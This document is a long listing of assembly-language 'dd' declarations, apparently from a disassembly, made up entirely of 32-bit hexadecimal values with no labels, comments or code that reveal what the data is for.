		dd 0F4774761h, 0A9743EE7h, 598B98FCh, 8A2C8058h, 0D5C472F1h
		dd 800F61B8h, 0AD09E7CDh, 0E0F5AEABh, 1A2376D0h, 908B73CFh
		dd 50B8565Fh, 32CBA4DCh, 878905ADh, 8C9F81F8h, 5C10B354h
		dd 0A8C79B3h, 4E263F16h, 2D40E432h, 7E954570h, 0B681EFD6h
		dd 3B573A04h, 704E5F1h,	5EE68B13h, 64FF5C25h, 84495BB1h
		dd 58E1FC8Dh, 10BAE48Eh, 2919EF39h, 0E6C1131Dh,	173FE7DFh
		dd 0EB96841Fh, 7B56263Dh, 5EFB5F28h, 0C5EC4C1h,	0E56C576h
		dd 0E9E27C03h, 1857C078h, 0F42D20A3h, 4832C05Dh, 0E939C930h
		dd 5F24096Eh, 925FDCAFh, 40B4AB5Ah, 89645AFCh, 56E6C2Eh
		dd 27F9F26Bh, 9192D2EBh, 7C2777DEh, 9F68702Ah, 0C8A3F9B5h
		dd 8C76A583h, 36455F7Ah, 43B6E961h, 0F047E758h,	6E704CA4h
		dd 1C38E818h, 77F6F4BAh, 0F2812001h, 632C3B3Dh,	18FDE2D8h
		dd 5A5C3829h, 0A63064AEh, 827A242Eh, 89192D3Eh,	5A842D4Ah
		dd 139CB235h, 66CAE829h, 23BB5300h, 14F3512h, 0E1D1DD4Ch
		dd 172802Fh, 5F1B1E0Bh,	0ACF8100h, 1904D0Bh, 49959726h
		dd 2EBD892h, 2CD16860h,	0AC6194DCh, 0D220B47Ah,	1C5D5CE8h
		dd 6059B55Ah, 7122179h,	0C1BE3D28h, 0EC82B72Dh,	7B5EE994h
		dd 84EEE1C5h, 875B4102h, 7E70A14Bh, 850408ECh, 21F010Dh
		dd 7217B895h, 17EAF697h, 20B588E9h, 185CE459h, 7FF495Fh
		dd 99437DDh, 0E924F95Dh, 0CE327452h, 0D7598C63h, 5B10C0E3h
		dd 523B5084h, 0CC828517h, 8D5A514Ah, 2273EF30h,	0B8541988h
		dd 0D5E90B6Fh, 0FF24A5FCh, 90362641h, 0F15FD314h, 0F23F6Dh
		dd 40B450C7h, 41E9C4FEh, 546362BFh, 0B415D05Ch,	1DCCC99Fh
		dd 0BB62122Fh, 58C30CB2h, 98101E66h, 264FAD13h,	0FE40D02Ch
		dd 3FC717BAh, 0C352042Ch, 535A000Fh, 5F6EB151h,	0C2BAE288h
		dd 0D2B5DFE9h, 5DD8780Fh, 144AF0E4h, 5CB2AC95h,	0CBD449C8h
		dd 0FADB5181h, 60BAF662h, 72587E45h, 72DEF72Fh,	0DB2609B7h
		dd 2778353h, 0F6C6297Eh, 0EC1758EAh, 45E78FB4h,	7BC3CD70h
		dd 84B48BAh, 4706CF05h,	0C3CDAE2Ah, 0E15D0A42h,	0F0F35004h
		dd 4CE348h, 9B50D58h, 0E0C113BCh, 0FF6D077Fh, 39E81A78h
		dd 355C0118h, 0F9FDA0EEh, 83B670D1h, 4AF04295h,	40475536h
		dd 0DE814734h, 7E69628Dh, 7E7468C2h, 0C988B151h, 94D52D59h
		dd 0ADB324F2h, 0C6B76249h, 943F43F7h, 0C3A3C33h, 0DCB07604h
		dd 20B5FC2Fh, 0EE3631C7h, 0C46ABF05h, 95B68CF5h, 3C4F0BCBh
		dd 1E020FDEh, 0CEF7790Ah, 0EA50B767h, 49167797h, 0C344B691h
		dd 33605BB5h, 46989DA5h, 0C8B2860Ah, 8A4702BFh,	768025Ch
		dd 0B51FC655h, 7829B9C2h, 11D78B06h, 0A03D41B5h, 88D08C6Bh
		dd 51B752F6h, 0BE02C5Bh, 3CDA29D8h, 0A879B009h,	5D4C02ECh
		dd 0A53F7B05h, 0C4599EF7h, 0FC02E961h, 0C3B84B01h, 93E7E25Fh
		dd 0DA4228F3h, 3067A717h, 53EA88B2h, 0CB98A39Dh, 0F9B24859h
		dd 4F2D0310h, 9478D6B8h, 846D07C8h, 0F1C9604Fh,	0B7D7255h
		dd 0AF02244Fh, 614EF280h
		dd 47ECC13Bh, 0A59EB199h, 0FD2779E5h, 659B9C18h, 0E92F9BB8h
		dd 58CC87A2h, 553192B2h, 80FFDB32h, 607FD0EBh, 0DBE92D34h
		dd 9550389h, 5CEE81A2h,	0E4413508h, 0A66A509Ch,	0AB261424h
		dd 7E43D55h, 2CD028B4h,	858E824Bh, 2AB51864h, 0EC39D9B8h
		dd 6775B4E9h, 0FF2D48C1h, 11A703BEh, 7AED24FAh,	0FECDBB5h
		dd 0B27595D6h, 0E2D761E1h, 0D010A669h, 480FD332h, 54AA27C0h
		dd 7C5D5962h, 5E986B8h,	0EB28B58Dh, 0D94CD53Eh,	95C62063h
		dd 0BF5F0A9h, 9FDFD845h, 9F837A32h, 0B8765CAh, 27096CD7h
		dd 0D75CA4B9h, 0A80BDD52h, 0EB786A89h, 0E34ED70Fh, 0D2AE8B35h
		dd 0B5ED061Ah, 0A45EF87Ch, 0D5A3099Fh, 62DDDC32h, 0A2315D2Ah
		dd 2425BF54h, 469244C4h, 61CD2CFAh, 33D33C13h, 0D6782AA1h
		dd 4AD0236Ch, 0B86B7D41h, 7DFCD25Ah, 5BEA315Fh,	0AF6C2F22h
		dd 0C88CB821h, 942D0128h, 13F3BDF6h, 5E5DE909h,	32EAC27Bh
		dd 0F583BA5Fh, 9668F22h, 10F08809h, 68172149h, 810C437Ch
		dd 5C6EFAC1h, 616E194Fh, 150D05h, 2F3978BEh, 0C2402860h
		dd 0EB02C281h, 90180FFh, 0B4D343D5h, 0E5C530FAh, 6A4AC86Fh
		dd 70AEB9E4h, 9F73BD7Fh, 0BE956E0h, 5F0CCA3Fh, 0C9A63BB9h
		dd 748951C0h, 0E919D35Ch, 0EE474265h, 0F339D57Fh, 9EEBD37Ah
		dd 0CA1510C3h, 0C6FE882Fh, 0CCA0C312h, 4AF409BDh, 0FC060E4Dh
		dd 0C5073B6Eh, 1520568Ah, 0C93DF560h, 2F1358FBh, 226AD504h
		dd 3D00ABE8h, 406C902Dh, 0A7050566h, 0D20EE043h, 25DD5009h
		dd 0A9B504ABh, 975AE7ECh, 0BB3FFD46h, 32C1802Bh, 6D0F381h
		dd 0AA044ECEh, 91F51993h, 0E12B9F40h, 8A9A018Bh, 0E2D5895Eh
		dd 0C4445658h, 5B9CB0EBh, 1C646812h, 6C563FCh, 54048D9Ah
		dd 64062055h, 7C9F0288h, 6892B9BDh, 2033D84Bh, 81F80384h
		dd 19323B30h, 0D3ABC184h, 82322A64h, 1525EE8h, 0F720ECB9h
		dd 53673039h, 0F0D31F27h, 7B039043h, 667C00C1h,	59C82986h
		dd 28497B68h, 90D81DAh,	547F26D7h, 5D89D91Ah, 709B47EBh
		dd 0D1105B88h, 0BB0153F2h, 295105E6h, 6F2859E9h, 0C9EE8713h
		dd 0B03AF1B7h, 49B62EE7h, 81270142h, 190713EBh,	0ECC74026h
		dd 6893E65h, 18B9DA20h,	2A50935Eh, 822F6395h, 16E4A68h
		dd 96E95D08h, 0A02F5135h, 941FEFF9h, 0FB09F828h, 491BE586h
		dd 90E09E5Dh, 0AB6E48ADh, 0C96855A0h, 0C8D90A62h, 0BFFDDAAFh
		dd 45327C4Bh, 0D75E1E52h, 6BBC5E14h, 97CCFC2h, 7DCE95BAh
		dd 336D294Eh, 0CAD75FA5h, 9454C76h, 3A3D6639h, 0AC0361FEh
		dd 0F03EFE1Ch, 7D0D99E7h, 12E0BDBBh, 80805F54h,	10273C6h
		dd 0CEFED4F6h, 0DEF38853h, 0AA510F60h, 2DE2E6BFh, 6ED9766Dh
		dd 0D5500FCBh, 13A84216h, 89EFE796h, 680F08BEh,	0B1CC7BE7h
		dd 10B80150h, 25182265h, 0CC17616Fh, 583D662Dh,	20934CDCh
		dd 0AB5A4FCDh, 35270A4Eh, 77F602D9h, 0C0600F7Bh, 0A296B73h
		dd 0F5013005h, 970820D6h, 2553947Fh, 0B74092E9h, 297FD6B9h
		dd 81BE5902h, 406FB21Eh, 3F2C794Ch, 6C58579Ah, 13C82E81h
		dd 3BCEE5BFh, 0BD3FCAFDh, 503C2380h, 0E56121BEh, 0F927A47Fh
		dd 95B4449Ah, 12BFE751h, 98A350BCh, 0EFEE9812h,	6711D088h
		dd 0C96810EDh, 0D1972F7Ch, 0CF012BC1h, 897F4BDDh, 0AE5A7EB8h
		dd 0EBC3404Fh, 74D6B78Eh, 78C26841h, 13ACB72Eh,	0A606583h
		dd 14073660h, 0FFE8217Ch, 4B530E85h, 1E7B5A55h,	8C2FEDCDh
		dd 0EA5A8106h, 27E9C0A4h, 2320D233h, 894B7E1Ch,	895AD027h
		dd 536582B0h, 84680147h, 517DC23Fh, 41164BC9h, 0FD6FBE09h
		dd 0DE7F0178h, 0DB47EF3Dh, 0B805F94h, 76E20ADFh, 1F75F8AFh
		dd 0FB42A734h, 747DE90Ch, 7B02BB90h, 0F77A5203h, 0AA4A40DBh
		dd 20D0125Ch, 3E0BE48h,	1F2D0E06h, 0B8F72110h, 1DAC4EA5h
		dd 0A5765F25h, 917160Fh, 2A607744h, 69941491h, 0B4369C2h
		dd 29A18AFDh, 3C12C301h, 0F6FD4865h, 0D7641C7Ah, 0C0E2E9CEh
		dd 8B6A55C6h, 6658C911h, 3C658AC9h, 5FA5A92h, 0D0AF301Bh
		dd 76F3688Eh, 597C39E6h, 3FDE9C2Ch, 0BA0F99A8h,	0E42C634Ch
		dd 0C68D760Ah, 0B07E1261h, 52905E12h, 830739Dh,	7327AE2Fh
		dd 5522258Dh, 59D55B3Dh, 6826B3C1h, 0E3987ED2h,	0E91808B1h
		dd 0FE2CB6C6h, 0C3839DCDh, 63F88F5h, 4F68BC25h,	245FC5Fh
		dd 47807716h, 4BA0669Ah, 2F1AB475h, 77886740h, 7ECB2FEAh
		dd 0C08F1455h, 8146E042h, 401251CBh, 50005BD0h,	3A903DB6h
		dd 4A3125E9h, 43EF1F20h, 68162AA3h, 0BC615AEDh,	406AA1A9h
		dd 7581080Dh, 889F31A4h, 0E905E7A2h, 73B4D72Dh,	91E5071Ch
		dd 0D2D63157h, 0B5A2E99h, 0E3320573h, 776F0C17h, 202A2EE8h
		dd 2002DE48h, 0BFBE0114h, 315E497Dh, 3BA23EF2h,	0E541EAC0h
		dd 21165A17h, 0C4F41C57h, 47899552h, 0A82E6557h, 757E2FB1h
		dd 0E3CD3B5Dh, 70B8FCA2h, 6B77F3F7h, 2A570A3Bh,	8F5C9974h
		dd 0E93196Dh, 0B82AC295h, 0DEAF4A4Ch, 0D8BE4A5Fh, 6302EAA8h
		dd 1059376h, 28CA85F2h,	71709CAEh, 64FAF05Eh, 64F6CBF8h
		dd 0C5AA4CCAh, 0A48DEE61h, 0A588E904h, 0E8F64132h, 6C953878h
		dd 7BC517AAh, 0EF04AEE0h, 6A99A1FFh, 0A6788A4Dh, 94202048h
		dd 344E2D05h, 85B20609h, 0C78F097Ah, 6C5FEDB6h,	20178C4h
		dd 39DBBE56h, 0F040095Eh, 554EDAC0h, 51B702BAh,	8D5A038Fh
		dd 0B19FB531h, 723C2F27h, 0AF3042C5h, 597A7D31h, 21056639h
		dd 0AE750D50h, 0AECFEC40h, 1245E803h, 0FB67F2E9h, 0F19CCA7h
		dd 404A0A10h, 0BBA8A3E6h, 2FE1325Ah, 9FD29C62h,	0C57F100Dh
		dd 27841148h, 40DACD9Dh, 31286EC2h, 0E1D12318h,	2F5576B2h
		dd 0A5DC41FCh, 430C771Dh, 12C10C62h, 0E01E5067h, 1213277Dh
		dd 65FC7609h, 2EAB5B10h, 421FDA58h, 498E7167h, 233FC7F5h
		dd 44239680h, 81E58907h, 81614A95h, 50AECE27h, 0E4802FBFh
		dd 678548AFh, 549216E9h, 9B22B53Bh, 39406115h, 0E83381D0h
		dd 110111CAh, 0E6132C1h, 0BD218919h, 41BAA13Ah,	0BCA19334h
		dd 1F04F269h, 0DF294849h, 81A25C4h, 0EF5A401Ch,	90D7FC4Fh
		dd 0A74349F5h, 0F72E0F91h, 508610CDh, 49BF2DF3h, 0C5FF59E7h
		dd 6D13B602h, 76C7605Ch, 925D95ACh, 75CD0143h, 2E2C7B10h
		dd 0C8653806h, 0ABF20C73h, 5C5B201h, 763C5DB0h,	3435B6D4h
		dd 1D6B29FCh, 0A116807h, 63D46859h, 5C1189B2h, 90503CF6h
		dd 0D853811Fh, 0D9D698F5h, 6C0DD2C1h, 6B26D83Fh, 5A7236F5h
		dd 0E64ED5E9h, 5F5A898Eh, 2B42ED51h, 0D3500D1h,	702797Dh
		dd 7138282Dh, 7760421Fh, 365DCA0Bh, 0A9369FBCh,	68120F8Eh
		dd 0FD8B5282h, 0C54DE909h, 53929857h, 164E58B3h, 0B7BF2E3Fh
		dd 0D668ADDBh, 7F2AD9EAh, 7502D8Fh, 41502D68h, 6326C1CEh
		dd 34A42C57h, 88394C22h, 5CE12EF4h, 41A4C42h, 40B18050h
		dd 693E8E4Ah, 0C307A75Dh, 0D3C2B740h, 58575643h, 0FA62A3E9h
		dd 8F565B68h, 5CEA655Ah, 21E29A4Fh, 4A467838h, 0BA4466F0h
		dd 22DABD9Ch, 33F759F2h, 123B4C3Eh, 0C9D07E39h,	5C4335ABh
		dd 0A406F615h, 18050361h, 2A9E8C02h, 0D4B6E92Dh, 0C04E17C7h
		dd 78CAC615h, 4DDD3Bh, 2D6C20EEh, 16F1013Ah, 0BAE294E9h
		dd 856879D1h, 10F7A9A4h, 0DA8706D2h, 9F08D3F7h,	0DC117E6h
		dd 6F076858h, 0FA6E353Fh, 51D17D21h, 80572902h,	780A4A82h
		dd 5F80FA32h, 1567C841h, 5906F412h, 0BE0BAEB6h,	5B825145h
		dd 0CB5963CFh, 849CF9E3h, 0C430F9EAh, 95D193ABh, 0ED416F01h
		dd 680098D0h, 3FC4607Ah
		dd 0E7FE8D0Ch, 0AFA25F1Ch, 0BA5E5485h, 0FB9609E3h, 7CA48574h
		dd 5F0D4063h, 2F3E595h,	0DA3685Ch, 23F59C9Ah, 0AB51D4A7h
		dd 59CDB17Eh, 0E9EDC5E5h, 0CE3F4BD9h, 6A2D7EC5h, 0E3F068F5h
		dd 68660B58h, 167D176Eh, 0C398BDC0h, 0E916A0C9h, 0AB356CDBh
		dd 0CBE9E4FBh, 0C47A5541h, 6D29808Dh, 313F7C12h, 0DAE91629h
		dd 0B3BE30C0h, 25AB001Eh, 38A8E681h, 4E6E1A9Dh,	0F941830Eh
		dd 0B1F6E84Ch, 1DF82855h, 0D5F202A3h, 0A4E914C8h, 5C130B7Ch
		dd 40DA4FF0h, 4D02059Ch, 81B118B6h, 0F257EBh, 2E5BF359h
		dd 5145545Fh, 16A6F60Ch, 0C2E89D5Dh, 6880B757h,	305F4BF5h
		dd 0AC38A09Fh, 0D5F74700h, 183D6853h, 5B48122Dh, 30B0BA09h
		dd 0CA631892h, 0FB682455h, 8164764Dh, 47DC0E26h, 3F52E93Fh
		dd 97350255h, 0E15DEF29h, 6A80642h, 0A96B2DDEh,	4827C9Bh
		dd 548BC7C5h, 69CBF2A0h, 0F15DE5CEh, 15252ABh, 1C4C6815h
		dd 0C8E90974h, 0F7772288h, 0BCFD252Fh, 0C3BA4A9Eh, 9DD10500h
		dd 0C0AC02F6h, 0B26849CFh, 30C67EA5h, 0EAAD8513h, 935C05E7h
		dd 92791042h, 3DA4E2Ch,	0B316253h, 2A6675E1h, 82FFDB52h
		dd 0D45F5857h, 5C5772B8h, 0A2905CEAh, 0C9FB769Fh, 9D33E65Fh
		dd 0E4C28666h, 6323CF49h, 88A4170h, 48A8CE55h, 56031E20h
		dd 0F976E2BEh, 68BDD920h, 13BB532Eh, 4900AB97h,	0D76991F3h
		dd 0E3C12E17h, 6DCB01A8h, 6031C466h, 80817F09h,	0E3458BE1h
		dd 0A202C556h, 0E0BC1A98h, 24A2F6E9h, 8A3177h, 74685BEEh
		dd 0BF32E92Bh, 82C53F33h, 7559EBFFh, 0FB1EA6CEh, 0A83EE828h
		dd 8D74ED2Ch, 0D864117Ah, 73F6487Eh, 1333A65Fh,	1D1558C3h
		dd 715B2D40h, 1CF50078h, 454DBE72h, 639F5498h, 5FD3820Fh
		dd 0EB80D8B0h, 0AE9230Dh, 103A22BFh, 22059C01h,	8833CF72h
		dd 29101F31h, 620612F6h, 0FA70397Eh, 0ED389F02h, 0DE64E96Eh
		dd 0E5880E70h, 2A8EEF49h, 0F716F9CFh, 4E083EE8h, 0E5E7BCACh
		dd 29DE92BCh, 0CC854C55h, 3022FEFAh, 946FC6E4h,	0EED11337h
		dd 6D25FD5Fh, 8A32FDEAh, 68043BD1h, 3AB33558h, 0AB534813h
		dd 203EA3DDh, 9446898h,	5A35BD13h, 0A6890EEh, 70179252h
		dd 2909C201h, 27F95FA5h, 43571D99h, 822206FCh, 0FCF12540h
		dd 0AF17D116h, 0C6A05713h, 5FFA0131h, 3B0A3405h, 5C09D445h
		dd 0E941B009h, 0BF0370A2h, 6825EF14h, 8D8E5C56h, 21FBC6ACh
		dd 0F3E43F4Fh, 27785E72h, 0C9CFA24h, 4A2A52D1h,	0B880424Eh
		dd 9D684C7Eh, 4B0754D2h, 0E98E53A2h, 382AF8E6h,	0D01D5804h
		dd 0EB5B2E2Ch, 69A65DF1h, 0ED80D700h, 673AE957h, 5C03D7Eh
		dd 8B8FC2C8h, 123C6879h, 164B4023h, 1C6885D7h, 64A120B8h
		dd 39010596h, 1C8F231Bh, 622C4770h, 46492315h, 0FFC6FF2h
		dd 0E20C2493h, 0BFEE5525h, 7E5774EAh, 83F1AF17h, 168FF2AFh
		dd 0FB34875Fh, 0AB37439Ch, 40E69E9Ah, 0FBA2F295h, 212694D8h
		dd 81C85EC2h, 0C8AF761Dh, 0B5DB98D5h, 0B14578FCh, 65A391AFh
		dd 9878160Eh, 0F51E200Dh, 4FF8C89Ah, 7777E42Ch,	87A2A313h
		dd 7A6D284h, 8D795F54h,	0FC223C5Ah, 0CF16EE4Eh,	5C0AA2F8h
		dd 19536DAh, 786C6EA0h,	0CC807A5Dh, 2665BE35h, 7DC54F2h
		dd 0A0D0F701h, 156077D7h, 0BF7DE91Bh, 0F80C2D95h, 0BFD01D56h
		dd 0E1DB4E59h, 2A844FDh, 0AC69E908h, 979D1CFDh,	28C2DB02h
		dd 0E9F0812Eh, 0B62E03C9h, 67261710h, 899EBAEDh, 4FF67045h
		dd 1610256Ah, 94D75F2Fh, 0D0681230h, 36658C19h,	40723E44h
		dd 55955D46h, 0B6962394h, 2950CF80h, 0A04F1B95h, 282D2AD1h
		dd 0B225CDh, 7A6E679Ah,	0F1410540h, 56F70650h, 7629A040h
		dd 5AAAF0C8h, 6C77AE62h, 0D188A7C2h, 465CE02Dh,	0B9B822F2h
		dd 4447F012h, 105F8405h, 543460BBh, 12C94046h, 0CDE9FAFDh
		dd 405B3782h, 4C641E0Ah, 0E64AA8F6h, 4F088BEEh,	0C0A49CF8h
		dd 976CC008h, 888C384Bh, 0B003ECC1h, 0BFF564B9h, 0ABA9855Ah
		dd 77C37CD7h, 0EEF4A9Eh, 279091D2h, 9789DA58h, 7DA2CAh
		dd 7AFD4389h, 12869E87h, 2DB5C250h, 0FCA7398Eh,	3520CF70h
		dd 1CD8AEACh, 1607A0B8h, 290B133Ah, 8D8886Bh, 62CAE90Bh
		dd 24CDD07Dh, 0BE0C7CDh, 0ED730A3h, 87D16FD2h, 0E8044EF5h
		dd 0B4B5BC81h, 4E41291h, 502CC828h, 0B3C3BCEEh,	2840F0DEh
		dd 0F80474D0h, 0E810B55Ah, 0BE807617h, 703C12BAh, 0CF0FFA3Bh
		dd 41A6CB08h, 43A01B6h,	494680E0h, 13E845E2h, 7BD20152h
		dd 305A6E2Ah, 0D2AE9D7h, 0F697A65Bh, 0E397BDA3h, 0C23A466Dh
		dd 0DC1706EEh, 0DAA3D030h, 0EBCA21D3h, 2AA36BDEh, 20FDE12Fh
		dd 0C1EA815Dh, 2C0D4C93h, 47993B17h, 84CA2938h,	91F4AF94h
		dd 0C2B3BCA2h, 500F699h, 1F3948BBh, 17C389F7h, 0B8C9B0E7h
		dd 8E2D4600h, 0D2BE0566h, 0E8995B71h, 12EEE57Ch, 6337BE4Bh
		dd 7E1D7F86h, 7B9E7880h, 80AAB665h, 53B039D7h, 5EB7575Ah
		dd 1D985626h, 6E3CD6B5h, 9E4DECFh, 0B5A1EB0Eh, 0F15D0803h
		dd 733ECE97h, 0E2B84ABCh, 0E3270C7Eh, 22005560h, 5E6A8ACAh
		dd 963409Fh, 9F9A90B1h,	2935AD4h, 9A122BA8h, 2025C9A1h
		dd 4A000130h, 0C98159CCh, 4A536338h, 954DE16Eh,	78622B9Ch
		dd 747A8D25h, 387727Bh,	57FA0731h, 9CDF5BEAh, 0F142674h
		dd 0A3B462B1h, 0A5BB9F41h, 97D7E93h, 0E82384BCh, 3612B60Fh
		dd 0A7E840AFh, 0A24DD7C5h, 50049359h, 0EA17983Dh, 0D9C4C705h
		dd 0EA100FF9h, 344817h,	24505E81h, 9FE6C14Eh, 9B039271h
		dd 478D818h, 0F8A7600Ch, 488CFC5Eh, 5FFB1072h, 0BF780503h
		dd 0D8D3B593h, 7BEDCAADh, 4E2CF938h, 16228EEBh,	76434E41h
		dd 8467B668h, 0E086E8AEh, 954CEB68h, 0AB098A66h, 84172F75h
		dd 5504D073h, 5D21BF54h, 603B838Dh, 0A76A0ABCh,	0D296386Fh
		dd 755A9C32h, 0A25EAAFEh, 9B84C013h, 0CE211B39h, 70C82C59h
		dd 66C711D5h, 19612093h, 0FA60EA31h, 4D28B8D6h,	0A95B1E78h
		dd 0BB4C2641h, 22425D24h, 4899FEC5h, 9C1008D2h,	0A7C2040Dh
		dd 626BF12Ah, 6083239h,	4B3FE406h, 0BE9EC0D4h, 0AA3F53A8h
		dd 6E159607h, 2C6291EFh, 0F386E62Eh, 36C50604h,	89BA4F94h
		dd 6B1AE186h, 0DBFE2012h, 0EA011785h, 0E92E31AAh, 22DDCADBh
		dd 0FF6F4888h, 26B4A71h, 551B9D19h, 689DDAE6h, 9079A33h
		dd 5B580ED8h, 96633102h, 89F68100h, 3A0A093Bh, 0AFD9F729h
		dd 4DC4CCA5h, 662C7E96h, 0B359BAB2h, 6E440845h,	1B692BCAh
		dd 9B56592Bh, 40ECCE3Ch, 56E0CE1h, 9361C1FAh, 0DEC99F89h
		dd 58F05295h, 80030EAEh, 0DFF6E0C7h, 0E608E7C0h, 169DE7EFh
		dd 0E9F8C240h, 7175C6h,	0C4F4133Ch, 522A6E29h, 0A45E0BE3h
		dd 79120962h, 0E9611A7Eh, 7DC2A1AFh, 534724F1h,	0DFD690F2h
		dd 0D4083AFBh, 10E121C9h, 0C7FC4A88h, 0C138C84h, 0B479825Eh
		dd 0D76E2F5Fh, 5E9CE8B7h, 417D0B6Bh, 9AEE6C29h,	8CC95695h
		dd 5B540554h, 5F6DE9Fh,	8831E868h, 6D3F6F0h, 2D46EB14h
		dd 419277BEh, 0C5411192h, 4FEE2BFEh, 8C7EF7CEh,	0BF5A125Ah
		dd 0AE3D2417h, 0C2CF2001h, 5AE30D71h, 48BAF366h, 0E4962F61h
		dd 0E4E0D3F2h, 6809C677h, 0AFFC1E70h, 0A06AC578h, 0E9F89553h
		dd 7EFE0C73h, 0A70C3361h, 30035E16h, 5A0511Ch, 13ECBF57h
		dd 6501AEB3h, 18518A5h,	174DC070h, 4A20BA2Fh, 2C08EFC8h
		dd 0B10A86C8h, 0C34A86ACh, 0B2B12ABh, 10784307h, 0B560D097h
		dd 68C778FCh, 0A64E2EABh, 4A0B0E1Fh, 0EB83C5BDh, 159869CAh
		dd 899D31E9h, 84CD5D33h
		dd 2CAB5A13h, 8C41C48Eh, 0D4C98A6Ah, 7E531627h,	22E88FAh
		dd 0ECCEDFB4h, 0CB5C20B9h, 0B37B89FCh, 68C192BDh, 4BBC64F4h
		dd 7334FF95h, 0F0B142ACh, 18680010h, 0E169D58h,	72EA2D0Bh
		dd 7228D7A0h, 20D12807h, 5758754Eh, 0D7917D5Bh,	94685541h
		dd 8688352Fh, 44B769E8h, 31AA69C4h, 9DA0CE72h, 7F2C18AFh
		dd 0B4312D46h, 0F67F029Ah, 10394949h, 2F517170h, 0E11E533Fh
		dd 0B81220F6h, 8014D709h, 22F85D7Eh, 811B3439h,	0F63F3540h
		dd 0F02FCF6Bh, 0D334E9D0h, 0D0FE596Ch, 0A8240FDFh, 490C2C60h
		dd 171289E3h, 456072E9h, 0AA59CB21h, 5109E540h,	985078BCh
		dd 25D6682Dh, 336841A6h, 0CD4C30BDh, 7CDB9CA0h,	0A5ACC5B5h
		dd 1CBDC870h, 58C33197h, 39750B5Ch, 0D44004C3h,	91AB2CEBh
		dd 7A94D72Bh, 0E0909F4Bh, 17A5BEB2h, 1C6D3836h,	0C69DBD5Bh
		dd 10E6801Ch, 53768D4Ah, 7E5BB00h, 14E9E2B9h, 0BA9CC0DFh
		dd 4E5F384Dh, 32F6817Ch, 7CEE3Bh, 0A0F21CC2h, 0BDD129E0h
		dd 6A938C45h, 23E33B1h,	1ED837Bh, 0B0CF5ADFh, 6452B50Dh
		dd 0D712C2BFh, 78A58A45h, 92D573A6h, 68D01F89h,	6376EE8Dh
		dd 0D7E04AB7h, 4B7085E9h, 6224DC95h, 0CC7FCF87h, 92DA4B30h
		dd 0F461D345h, 7EC3DBDh, 71DED622h, 5FF895B4h, 845EBD4Bh
		dd 2D001C4Ch, 0AD185853h, 167B36DFh, 50BE6084h,	304E082Ah
		dd 0A239E9C3h, 0F09DC0B2h, 0D09FFE2Ah, 0EB15B6C5h, 5B6905h
		dd 18264F15h, 239EEC1h,	6E01B083h, 2CBC2E05h, 0FE4642h
		dd 2F3B5C38h, 0DC5A19E9h, 0FC32CA4h, 7D6417E6h,	5E39F885h
		dd 2C97828Ah, 8CF71E6Ch, 17FC4053h, 0EA183054h,	89A4E245h
		dd 4C390CBDh, 8521EA9Dh, 42870C3h, 129C9E97h, 0AF9B85BEh
		dd 0F2D20297h, 3524559Bh, 4747BC84h, 0C1C23D81h, 8B69200h
		dd 9A3E514Bh, 8020444h,	571C45E9h, 7624B6E7h, 0F207CD35h
		dd 7FA73138h, 0CD515F39h, 0FD94FDADh, 0E23F33B7h, 160B805Ah
		dd 0B07F8331h, 11B5392Fh, 0F9932EBCh, 5BE7BE5Fh, 622FE909h
		dd 683B3075h, 1F2662C5h, 6E5F1A07h, 1749578h, 428AACCFh
		dd 280113B1h, 0B48BBFC8h, 5153D800h, 1E989B5h, 89EC714Ah
		dd 2A69B9E0h, 0E946990Bh, 51FF41CFh, 0CAE220h, 0B94C9B61h
		dd 0B3649E38h, 5ACBD69Fh, 0F806C2F5h, 1EE91823h, 0A689CFDh
		dd 2A342755h, 3DF7C328h, 0E2DE87D2h, 4FE90D2Ch,	0FC3A3E9Ah
		dd 2DB7D0F3h, 0E955B6Eh, 0AE1770B7h, 3F3DD32Dh,	293C92Ah
		dd 0C6CA4DBFh, 5075311Eh, 0AD38B7F7h, 7C960EB5h, 9DD70C60h
		dd 8DC49572h, 7F2F8290h, 0BB9259B6h, 0F4818220h, 67B820D0h
		dd 6296071Fh, 0F809297h, 1C2FEE80h, 2F88B151h, 0F725D7C4h
		dd 6DC4FD4Fh, 24CDF85Eh, 0F811E852h, 6EF9F72h, 0E4BBC08h
		dd 86E9F82Ch, 5EB771D0h, 52EBE077h, 1C164A42h, 8501D301h
		dd 4332042Ch, 3C8B40FAh, 0C646084h, 9F03B8Bh, 0A99FEFF6h
		dd 902D70Eh, 0CE5F97F4h, 1F4E977Ch, 95184C97h, 61E98E90h
		dd 6759BC5Fh, 687398AAh, 4BED8B9Fh, 53093CD1h, 506DFD54h
		dd 0E92788A2h, 0F59CC9BDh, 7618F06Ah, 5A0354BEh, 92D98951h
		dd 0C5DD7EC8h, 0A0E2AE5Bh, 1E8CC10h, 0B31562BAh, 31BF520Bh
		dd 14D72B27h, 0C3ED07A4h, 0C329D415h, 0A181CCCDh, 96BC2F4Bh
		dd 31E5E986h, 0D42CC280h, 8E207537h, 5DEF59D5h,	51DE8B82h
		dd 0AD2C37F9h, 96435C82h, 0B94BC103h, 50512B87h, 462BF068h
		dd 53BF5806h, 0CC882D7h, 0E92159E3h, 0D02A7832h, 1514355Dh
		dd 5D907CB8h, 7553AC2Dh, 2608EE08h, 3CE105Bh, 0E62F68BBh
		dd 0DF8DFA1Bh, 0A4A70DF1h, 45EA1CE0h, 0BA56581Bh, 66036DF6h
		dd 5595352Dh, 68CC6ADh,	0E95DEA26h, 298EAAE2h, 95488382h
		dd 12F658CBh, 0D9AD4C01h, 5EF729F5h, 3C6E083h, 0D5C031D1h
		dd 0E4FD814Dh, 0EE4A9180h, 0F824CAE9h, 192C01C6h, 0F6D14942h
		dd 2F92161h, 7E98ABACh,	0F15D72FFh, 0B5E8C8Eh, 0C06F5B0Ah
		dd 31CD2590h, 0B63C96B3h, 0D8C367Bh, 0BD1DEA17h, 298F38AFh
		dd 735D2FEBh, 0E15B230Fh, 5158C221h, 7F4BB9F8h,	5ABDA04Eh
		dd 0AE0BD65Fh, 7D027CD2h, 0EE3E9CD0h, 0B52793C5h, 7017B1B6h
		dd 3EFB8C41h, 7FB7745Ah, 0B9E95B83h, 1568670Bh,	9D93D173h
		dd 0A49820B7h, 720F7009h, 922CF943h, 0E81FD85Bh, 549B852h
		dd 70866855h, 0DFE94242h, 78227269h, 859A2407h,	79AD822Dh
		dd 38414DCEh, 0A0177A2Dh, 2A6ED9EFh, 0FF96E6F9h, 784C062Bh
		dd 0EEE91505h, 6CCCBFDEh, 0DE8D48A0h, 667105A0h, 68770F05h
		dd 87307FA0h, 502DABFh,	0E7C16C4Dh, 0DF60F206h,	4BDA2EC5h
		dd 7194E882h, 36BA7202h, 6725A082h, 0F9E95400h,	1B5BB76Ch
